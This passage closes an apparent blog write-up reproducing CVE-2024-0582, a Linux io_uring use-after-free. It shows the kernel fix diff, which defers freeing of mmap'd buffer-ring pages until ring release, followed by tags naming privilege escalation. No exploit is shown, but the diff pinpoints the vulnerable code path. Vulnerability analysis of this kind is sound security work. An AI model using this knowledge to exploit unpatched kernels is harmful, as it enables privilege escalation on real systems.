 	__u16				bid;
 };
 
+struct io_buf_free {
+	struct hlist_node		list;
+	void				*mem;
+};
+
 static inline struct io_buffer_list *io_buffer_get_list(struct io_ring_ctx *ctx,
 							unsigned int bgid)
 {
@@ -223,7 +228,10 @@ static int __io_remove_buffers(struct io_ring_ctx *ctx,
 	if (bl->is_mapped) {
 		i = bl->buf_ring->tail - bl->head;
 		if (bl->is_mmap) {
-			folio_put(virt_to_folio(bl->buf_ring));
+			/*
+			 * io_kbuf_list_free() will free the page(s) at
+			 * ->release() time.
+			 */
 			bl->buf_ring = NULL;
 			bl->is_mmap = 0;
 		} else if (bl->buf_nr_pages) {
@@ -531,18 +539,28 @@ error_unpin:
 	return -EINVAL;
 }
 
-static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
+static int io_alloc_pbuf_ring(struct io_ring_ctx *ctx,
+			      struct io_uring_buf_reg *reg,
 			      struct io_buffer_list *bl)
 {
-	gfp_t gfp = GFP_KERNEL_ACCOUNT | __GFP_ZERO | __GFP_NOWARN | __GFP_COMP;
+	struct io_buf_free *ibf;
 	size_t ring_size;
 	void *ptr;
 
 	ring_size = reg->ring_entries * sizeof(struct io_uring_buf_ring);
-	ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
+	ptr = io_mem_alloc(ring_size);
 	if (!ptr)
 		return -ENOMEM;
 
+	/* Allocate and store deferred free entry */
+	ibf = kmalloc(sizeof(*ibf), GFP_KERNEL_ACCOUNT);
+	if (!ibf) {
+		io_mem_free(ptr);
+		return -ENOMEM;
+	}
+	ibf->mem = ptr;
+	hlist_add_head(&ibf->list, &ctx->io_buf_list);
+
 	bl->buf_ring = ptr;
 	bl->is_mapped = 1;
 	bl->is_mmap = 1;
@@ -599,7 +617,7 @@ int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
 	if (!(reg.flags & IOU_PBUF_RING_MMAP))
 		ret = io_pin_pbuf_ring(&reg, bl);
 	else
-		ret = io_alloc_pbuf_ring(&reg, bl);
+		ret = io_alloc_pbuf_ring(ctx, &reg, bl);
 
 	if (!ret) {
 		bl->nr_entries = reg.ring_entries;
@@ -649,3 +667,19 @@ void *io_pbuf_get_address(struct io_ring_ctx *ctx, unsigned long bgid)
 
 	return bl->buf_ring;
 }
+
+/*
+ * Called at or after ->release(), free the mmap'ed buffers that we used
+ * for memory mapped provided buffer rings.
+ */
+void io_kbuf_mmap_list_free(struct io_ring_ctx *ctx)
+{
+	struct io_buf_free *ibf;
+	struct hlist_node *tmp;
+
+	hlist_for_each_entry_safe(ibf, tmp, &ctx->io_buf_list, list) {
+		hlist_del(&ibf->list);
+		io_mem_free(ibf->mem);
+		kfree(ibf);
+	}
+}
diff --git a/io_uring/kbuf.h b/io_uring/kbuf.h
index f2d615236b2cb9..6c7646e6057cf5 100644
--- a/io_uring/kbuf.h
+++ b/io_uring/kbuf.h
@@ -51,6 +51,8 @@ int io_provide_buffers(struct io_kiocb *req, unsigned int issue_flags);
 int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg);
 int io_unregister_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg);
 
+void io_kbuf_mmap_list_free(struct io_ring_ctx *ctx);
+
 unsigned int __io_put_kbuf(struct io_kiocb *req, unsigned issue_flags);
 
 bool io_kbuf_recycle_legacy(struct io_kiocb *req, unsigned issue_flags);

CVE

#Linux #Linux Kernel #Pwn #Use After Free #CVE #提权 #IO_URING

【CVE.0x0C】CVE-2024-0582 漏洞复现及简要分析

https://arttnba3.github.io/2025/02/22/CVE-0X0C-CVE-2024-0582/

作者

arttnba3

发布于

2025年2月22日

许可协议

【DEV.0x01】如何优雅地开发树外内核模块下一篇